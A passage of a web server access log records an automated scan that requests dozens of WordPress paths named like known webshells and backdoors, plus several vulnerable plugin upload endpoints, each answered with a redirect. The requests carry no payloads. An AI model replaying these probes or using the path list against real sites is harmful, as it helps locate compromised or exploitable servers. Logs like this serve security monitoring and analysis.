-0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:25:03 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:25:03 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:25:03 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:03 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:03 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:04 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:04 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:04 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:25:04 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:04 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:25:04 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:04 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:25:05 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:05 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:05 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:05 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:05 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:05 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:06 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:06 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:07 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:07 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:08 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:08 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:10 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:10 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:10 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:10 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:11 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:11 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:11 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:11 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:11 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:11 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:11 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:11 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:12 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:12 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:12 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:12 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:12 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:12 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:12 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:12 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:12 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:12 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:12 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:13 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:13 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:13 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:13 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:13 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:13 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:25:13 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:14 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:15 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:16 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:25:16 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) 